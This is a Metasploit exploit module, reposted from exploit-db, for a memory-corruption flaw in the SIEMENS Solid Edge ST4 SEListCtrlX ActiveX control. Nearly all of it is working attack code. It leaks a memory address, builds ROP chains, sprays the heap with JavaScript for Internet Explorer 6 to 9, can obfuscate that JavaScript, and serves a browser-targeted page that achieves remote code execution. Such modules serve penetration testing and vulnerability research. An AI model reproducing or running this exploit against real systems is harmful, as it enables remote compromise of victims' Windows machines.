SIEMENS Solid Edge ST4 SEListCtrlX – ActiveX Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-10-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/28724/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn
    
    autopwn_info({
    :ua_name=> HttpClients::IE,
    :ua_minver=> "6.0",
    :ua_maxver=> "9.0",
    :javascript => true,
    :os_name=> OperatingSystems::WINDOWS,
    :rank => Rank,
    :classid=> "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}"
    })
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",
    'Description'=> %q{
    This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product.
    The vulnerability exists on several APIs provided by the control, where user supplied input
    is handled as a memory pointer without proper validation, allowing an attacker to read and
    corrupt memory from the target process. This module abuses the methods NumChildren() and
    DeleteItem() in order to achieve memory info leak and remote code execution respectively.
    This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,
    using Solid Edge 10.4.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC
    'juan vazquez' # Metasploit module
    ],
    'References' =>
    [
    [ 'OSVDB', '93696' ],
    [ 'EDB', '25712' ],
    [ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ]
    ],
    'Payload'=>
    {
    'Space' => 906,
    'DisableNops' => true,
    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
    'DefaultOptions'=>
    {
    'InitialAutoRunScript' => 'migrate -f'
    },
    'Platform' => 'win',
    'Targets'=>
    [
    # Jutil.dll 104.0.0.82
    # SEListCtrlX 104.0.0.82
    [ 'Automatic', {} ],
    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,'Offset' => '0x5F4' } ],
    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,'Offset' => '0x5F4' } ],
    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
    [ 'IE 7 on Windows Vista',{ 'Rop' => nil,'Offset' => '0x5f4' } ],
    [ 'IE 8 on Windows Vista',{ 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
    [ 'IE 8 on Windows 7',{ 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
    [ 'IE 9 on Windows 7',{ 'Rop' => :jutil, 'Offset' => '0x5fe' } ]
    ],
    'Privileged' => false,
    'DisclosureDate' => "May 26 2013",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
    ], self.class)
    
    end
    
    def junk
    return rand_text_alpha(4).unpack("V").first
    end
    
    def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'
    
    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
    
    ie_name = "IE #{ie}"
    
    case nt
    when '5.1'
    os_name = 'Windows XP SP3'
    when '6.0'
    os_name = 'Windows Vista'
    when '6.1'
    os_name = 'Windows 7'
    end
    
    targets.each do |t|
    if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
    end
    end
    
    return nil
    end
    
    # JUtil ROP Chain
    # Jutil Base: 0x1d550000
    # Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret
    # Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret
    # 0x1db2e121, # POP EDX # RETN [JUtil.dll]
    # 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]
    # 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]
    # 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]
    # 0x1d70e314, # POP EBP # RETN [JUtil.dll]
    # 0x1d5fc8e8, # & jmp esp [JUtil.dll]
    # 0x1d631859, # POP EBX # RETN [JUtil.dll]
    # 0x00000201, # 0x00000201-> ebx
    # 0x1d769cf9, # POP EDX # RETN [JUtil.dll]
    # 0x00000040, # 0x00000040-> edx
    # 0x1d6d2e50, # POP ECX # RETN [JUtil.dll]
    # 0x1da45217, # &Writable location [JUtil.dll]
    # 0x1d632fd1, # POP EDI # RETN [JUtil.dll]
    # 0x1d6839db, # RETN (ROP NOP) [JUtil.dll]
    # 0x1d752439, # POP EAX # RETN [JUtil.dll]
    # 0x90909090, # nop
    # 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]
    def ie9_spray(t, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))
    
    js = %Q|
    
    function rop_chain(jutil_base){
    var arr = [
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c1c),
    Number(0x0c0c0c24),
    Number(0x0c0c0c28),
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c3c),
    jutil_base + Number(0x00212f17),
    jutil_base + Number(0x000a5843),
    Number(0x0c0c0c34),
    jutil_base + Number(0x5de121),
    jutil_base + Number(0x20ca),
    jutil_base + Number(0x4bebeb),
    jutil_base + Number(0x4c03d2),
    jutil_base + Number(0x1be314),
    jutil_base + Number(0xac8e8),
    jutil_base + Number(0xe1859),
    Number(0x00000201),
    jutil_base + Number(0x219cf9),
    Number(0x00000040),
    jutil_base + Number(0x182e50),
    jutil_base + Number(0x4f5217),
    jutil_base + Number(0xe2fd1),
    jutil_base + Number(0x1339db),
    jutil_base + Number(0x202439),
    Number(0x90909090),
    jutil_base + Number(0x4fcfe3)
    ];
    return arr;
    }
    
    function d2u(dword){
    var uni = String.fromCharCode(dword & 0xFFFF);
    uni += String.fromCharCode(dword>>16);
    return uni;
    }
    
    function tab2uni(tab){
    var uni = ""
    for(var i=0;i<tab.length;i++){
    uni += d2u(tab[i]);
    }
    return uni;
    }
    
    function randomblock(blocksize)
    {
    var theblock = "";
    for (var i = 0; i < blocksize; i++)
    {
    theblock += Math.floor(Math.random()*90)+10;
    }
    return theblock;
    }
    
    function tounescape(block)
    {
    var blocklen = block.length;
    var unescapestr = "";
    for (var i = 0; i < blocklen-1; i=i+4)
    {
    unescapestr += "%u" + block.substring(i,i+4);
    }
    return unescapestr;
    }
    
    var heap_obj = new heapLib.ie(0x10000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_random_nops}");
    
    function heap_spray(jutil_base) {
    while (nops.length < 0x80000) nops += nops;
    var offset_length = #{t['Offset']};
    for (var i=0; i < 0x1000; i++) {
    var padding = unescape(tounescape(randomblock(0x1000)));
    while (padding.length < 0x1000) padding+= padding;
    var junk_offset = padding.substring(0, offset_length);
    var rop = tab2uni(rop_chain(jutil_base));
    var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length -code.length - junk_offset.length);
    while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
    sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
    heap_obj.alloc(sprayblock);
    }
    }
    |
    return js
    end
    
    def ie8_spray(t, p)
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
    
    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    
    function rop_chain(jutil_base){
    var arr = [
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c1c),
    Number(0x0c0c0c24),
    Number(0x0c0c0c28),
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(Math.floor(Math.random()*0xffffffff)),
    Number(0x0c0c0c0c),
    Number(0x0c0c0c3c),
    jutil_base + Number(0x00212f17),
    jutil_base + Number(0x000a5843),
    Number(0x0c0c0c34),
    jutil_base + Number(0x5de121),
    jutil_base + Number(0x20ca),
    jutil_base + Number(0x4bebeb),
    jutil_base + Number(0x4c03d2),
    jutil_base + Number(0x1be314),
    jutil_base + Number(0xac8e8),
    jutil_base + Number(0xe1859),
    Number(0x00000201),
    jutil_base + Number(0x219cf9),
    Number(0x00000040),
    jutil_base + Number(0x182e50),
    jutil_base + Number(0x4f5217),
    jutil_base + Number(0xe2fd1),
    jutil_base + Number(0x1339db),
    jutil_base + Number(0x202439),
    Number(0x90909090),
    jutil_base + Number(0x4fcfe3)
    ];
    return arr;
    }
    
    function d2u(dword){
    var uni = String.fromCharCode(dword & 0xFFFF);
    uni += String.fromCharCode(dword>>16);
    return uni;
    }
    
    function tab2uni(tab){
    var uni = ""
    for(var i=0;i<tab.length;i++){
    uni += d2u(tab[i]);
    }
    return uni;
    }
    
    function heap_spray(jutil_base) {
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{t['Offset']});
    var rop = tab2uni(rop_chain(jutil_base));
    var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
    }
    }
    |
    return js
    end
    
    def ie6_spray(t, p)
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
    
    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var nops = unescape("#{js_nops}");
    var code = unescape("#{js_code}");
    
    function heap_spray() {
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
    }
    }
    |
    return js
    end
    
    def ie_heap_spray(my_target, p)
    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[7]
    # IE 9 on Windows 7
    js = ie9_spray(my_target, p)
    when targets[5], targets[6]
    # IE 8 on Windows 7 and Windows Vista
    js = ie8_spray(my_target, p)
    else
    js = ie6_spray(my_target, p)
    end
    
    js = heaplib(js, {:noobfu => true})
    
    if datastore['OBFUSCATE']
    js = ::Rex::Exploitation::JSObfu.new(js)
    js.obfuscate
    @heap_spray_fn = js.sym("heap_spray")
    else
    @heap_spray_fn = "heap_spray"
    end
    
    return js
    end
    
    def get_windows_xp_payload
    fake_memory = [
    junk, # junk # 0c0c0c0c
    0x0c0c0c0c, # Dereference# 0c0c0c10
    0x0c0c0c0c, # Dereference# 0c0c0c14
    0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
    0x0c0c0c24, # Dereference# 0c0c0c1c
    0x0c0c0c28, # Dereference# 0c0c0c20
    junk, # junk # 0c0c0c24
    junk, # junk # 0c0c0c28
    0x0c0c0c0c, # Dereference# 0c0c0c2c
    0x0c0c0c30, # Dereference# 0c0c0c30
    0x0c0c0c38, # new eip# 0c0c0c34
    ].pack("V*")
    
    p = fake_memory + payload.encoded
    
    return p
    end
    
    def get_windows_msvcrt_payload
    fake_memory = [
    junk, # junk # 0c0c0c0c
    0x0c0c0c0c, # Dereference# 0c0c0c10
    0x0c0c0c0c, # Dereference# 0c0c0c14
    0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
    0x0c0c0c24, # Dereference# 0c0c0c1c
    0x0c0c0c28, # Dereference# 0c0c0c20
    junk, # junk # 0c0c0c24
    junk, # junk # 0c0c0c28
    0x0c0c0c0c, # Dereference# 0c0c0c2c
    0x0c0c0c3c, # Dereference# 0c0c0c30
    0x77c21ef4, # ppr msvcrt # 0c0c0c34
    0x77c15ed5, # xchg eax,esp # ret (msvcrt)
    0x0c0c0c34# eax value# 0c0c0c3c
    ].pack("V*")
    
    return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})
    end
    
    def get_payload(t)
    
    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
    print_status("Using msvcrt ROP")
    p = get_windows_msvcrt_payload
    when :jutil
    print_status("Using JUtil ROP built dynamically...")
    p = payload.encoded
    else
    print_status("Using payload without ROP...")
    p = get_windows_xp_payload
    end
    
    return p
    end
    
    def info_leak_trigger
    js = <<-EOS
    <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
    </object>
    <script language='javascript'>
    jutil_address = obj.NumChildren(0x10017018 - 0x0c);
    jutil_base = jutil_address - 0x49440;
    #{@heap_spray_fn}(jutil_base);
    obj.DeleteItem(0x0c0c0c08);
    </script>
    EOS
    
    return js
    end
    
    def exec_trigger
    js = <<-EOS
    <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
    </object>
    <script language='javascript'>
    #{@heap_spray_fn}();
    obj.DeleteItem(0x0c0c0c08);
    </script>
    EOS
    
    return js
    end
    
    def get_trigger(t)
    case t['Rop']
    when :jutil
    js = info_leak_trigger
    else
    js = exec_trigger
    end
    
    return js
    end
    
    def load_exploit_html(my_target)
    p= get_payload(my_target)
    js = ie_heap_spray(my_target, p)
    trigger = get_trigger(my_target)
    
    html = %Q|
    <html>
    <head>
    <script language='javascript'>
    #{js}
    </script>
    </head>
    <body>
    #{trigger}
    </body>
    </html>
    |
    
    return html
    end
    
    def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri = request.uri
    print_status("Requesting: #{uri}")
    
    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
    print_error("Browser not supported, sending 404: #{agent}")
    send_not_found(cli)
    return
    end
    
    html = load_exploit_html(my_target)
    html = html.gsub(/^\t\t/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    
    end